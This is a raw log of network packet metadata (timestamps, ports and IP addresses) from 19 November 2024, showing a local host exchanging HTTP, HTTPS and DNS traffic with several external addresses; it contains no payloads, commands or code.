Nov 19, 2024 18:00:54.573302984 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.573318958 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.573345900 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.573370934 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.573381901 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.573476076 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.573497057 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574098110 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574167013 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574177027 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574207067 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574218035 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574223995 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574232101 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574259043 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574285030 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574285984 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574296951 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574306965 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574316978 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574338913 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574366093 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574368000 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574378967 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574388981 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574393988 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574404001 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574440956 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574487925 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574498892 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574510098 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574526072 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574537039 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574548006 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574557066 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574558973 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574568987 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.574573040 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574595928 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.574609995 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645174026 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645210028 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645219088 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645236969 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645245075 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645282030 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645292997 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645303011 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645313025 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645333052 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645343065 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645351887 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645363092 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645431042 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645437002 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645447016 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645457983 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645467997 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645478010 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645505905 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645528078 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645546913 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645559072 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645567894 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645577908 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645593882 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645620108 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645622015 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645632982 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645642996 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645684958 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645749092 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645765066 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645776033 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645785093 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645797014 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645804882 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645807981 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645819902 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645826101 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645829916 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645848036 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645859957 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645885944 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645896912 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645905972 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645930052 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645950079 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645960093 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.645961046 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645973921 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645983934 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.645987988 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646002054 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646015882 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646018028 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646044970 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646058083 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646204948 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646215916 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646225929 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646234989 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646245956 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646250010 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646256924 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646271944 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646275043 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646287918 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646296978 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646297932 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646308899 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646313906 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646322012 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646331072 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646341085 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646342993 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646378994 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646389961 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646409988 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646425962 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646435976 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646445036 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646452904 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646459103 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646473885 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646471977 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646524906 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646568060 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646578074 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646586895 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646598101 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646609068 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646611929 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646631002 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646661043 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646676064 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646687984 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646697998 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646707058 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646717072 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646729946 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646743059 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646774054 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646811962 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646822929 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646831989 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646842003 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646852970 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646862984 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646867990 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646869898 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646878958 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646882057 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646893978 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.646903992 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646919966 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.646972895 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.648557901 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.648632050 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.650377035 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.650384903 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.650621891 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.651670933 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.665528059 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665585995 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.665649891 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665657997 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665663958 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665673971 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665683985 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665693998 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665700912 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.665740013 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.665767908 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665777922 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665787935 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665805101 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665816069 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665823936 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665824890 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.665836096 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665841103 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.665848017 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665858030 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.665860891 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.665894985 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666517973 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666551113 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666559935 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666574955 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666600943 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666670084 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666680098 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666691065 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666704893 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666716099 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666726112 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666726112 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666739941 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666749954 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666749954 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666762114 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666771889 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666788101 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666806936 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666821003 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666831970 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666841984 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666850090 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666877985 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666903973 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.666980028 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.666997910 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.667007923 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.667025089 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.667035103 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.667037010 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.667046070 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.667058945 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.667067051 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.667097092 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.667109966 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.699333906 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.737710953 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737723112 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737742901 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737755060 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737766027 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737799883 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737802982 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.737814903 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737827063 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737835884 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737847090 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.737859011 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.737879992 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.737953901 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737971067 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.737979889 CET	80	62272	185.215.113.16	192.168.2.8
Nov 19, 2024 18:00:54.738003016 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.738029957 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:00:54.921221018 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.921243906 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.921260118 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.921314955 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.921329021 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.921435118 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.921442032 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.921448946 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.921485901 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.921490908 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.922141075 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.923914909 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.923940897 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.923955917 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.923965931 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.923974991 CET	62275	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:54.923979044 CET	443	62275	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:54.960097075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:54.965104103 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:55.076253891 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:55.076288939 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:55.076353073 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:55.077923059 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:55.077936888 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:55.676649094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:55.676707029 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:55.765611887 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:55.765696049 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:55.767704964 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:55.767715931 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:55.767978907 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:55.768896103 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:55.815331936 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.035619974 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.035644054 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.035665989 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.035741091 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:56.035763979 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.035954952 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:56.036644936 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.036710978 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.036745071 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:56.036758900 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.036780119 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:56.037471056 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.038079977 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:56.038368940 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:56.038369894 CET	62277	443	192.168.2.8	172.202.163.200
Nov 19, 2024 18:00:56.038389921 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:56.038400888 CET	443	62277	172.202.163.200	192.168.2.8
Nov 19, 2024 18:00:59.704385042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:59.706281900 CET	62272	80	192.168.2.8	185.215.113.16
Nov 19, 2024 18:01:05.192739010 CET	443	49799	23.200.88.15	192.168.2.8
Nov 19, 2024 18:01:05.192833900 CET	443	49799	23.200.88.15	192.168.2.8
Nov 19, 2024 18:01:05.192929983 CET	49799	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:01:05.198476076 CET	443	49800	23.200.88.15	192.168.2.8
Nov 19, 2024 18:01:05.198695898 CET	443	49800	23.200.88.15	192.168.2.8
Nov 19, 2024 18:01:05.198762894 CET	49800	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:01:07.365961075 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:01:07.366056919 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:01:07.366090059 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:01:07.366173029 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:01:07.366257906 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:01:07.367449045 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:01:07.367507935 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:01:07.367507935 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:01:07.369179010 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:01:33.280309916 CET	49823	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:01:33.280354023 CET	443	49823	204.79.197.219	192.168.2.8
Nov 19, 2024 18:01:33.295984983 CET	49822	443	192.168.2.8	204.79.197.219
Nov 19, 2024 18:01:33.296014071 CET	443	49822	204.79.197.219	192.168.2.8
Nov 19, 2024 18:01:37.253813982 CET	62696	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:01:37.258703947 CET	53	62696	1.1.1.1	192.168.2.8
Nov 19, 2024 18:01:37.262052059 CET	62696	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:01:37.267246008 CET	53	62696	1.1.1.1	192.168.2.8
Nov 19, 2024 18:01:37.711844921 CET	62696	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:01:37.716965914 CET	53	62696	1.1.1.1	192.168.2.8
Nov 19, 2024 18:01:37.717021942 CET	62696	53	192.168.2.8	1.1.1.1
Nov 19, 2024 18:01:40.763453007 CET	49800	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:01:40.763473988 CET	443	49800	23.200.88.15	192.168.2.8
Nov 19, 2024 18:01:40.763557911 CET	49820	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:01:40.763581038 CET	443	49820	23.44.203.86	192.168.2.8
Nov 19, 2024 18:01:40.763603926 CET	49821	443	192.168.2.8	23.44.203.86
Nov 19, 2024 18:01:40.763638973 CET	443	49821	23.44.203.86	192.168.2.8
Nov 19, 2024 18:01:40.763644934 CET	49824	443	192.168.2.8	23.44.203.68
Nov 19, 2024 18:01:40.763653040 CET	443	49824	23.44.203.68	192.168.2.8
Nov 19, 2024 18:01:40.763659000 CET	49799	443	192.168.2.8	23.200.88.15
Nov 19, 2024 18:01:40.763705969 CET	443	49799	23.200.88.15	192.168.2.8
Nov 19, 2024 18:01:41.841065884 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:01:41.841290951 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:01:41.841355085 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:01:41.842626095 CET	49703	443	192.168.2.8	13.107.246.45
Nov 19, 2024 18:01:41.847481012 CET	443	49703	13.107.246.45	192.168.2.8
Nov 19, 2024 18:02:04.680361986 CET	62702	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:04.685595036 CET	80	62702	185.215.113.43	192.168.2.8
Nov 19, 2024 18:02:04.685684919 CET	62702	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:04.690043926 CET	62702	80	192.168.2.8	185.215.113.43
Nov 19, 2024 18:02:04.694933891 CET	80	62702	185.215.113.43	192.168.2.8
Nov 19, 2024 18:02:05.401263952 CET	80	62702	185.215.113.43	192.168.2.8
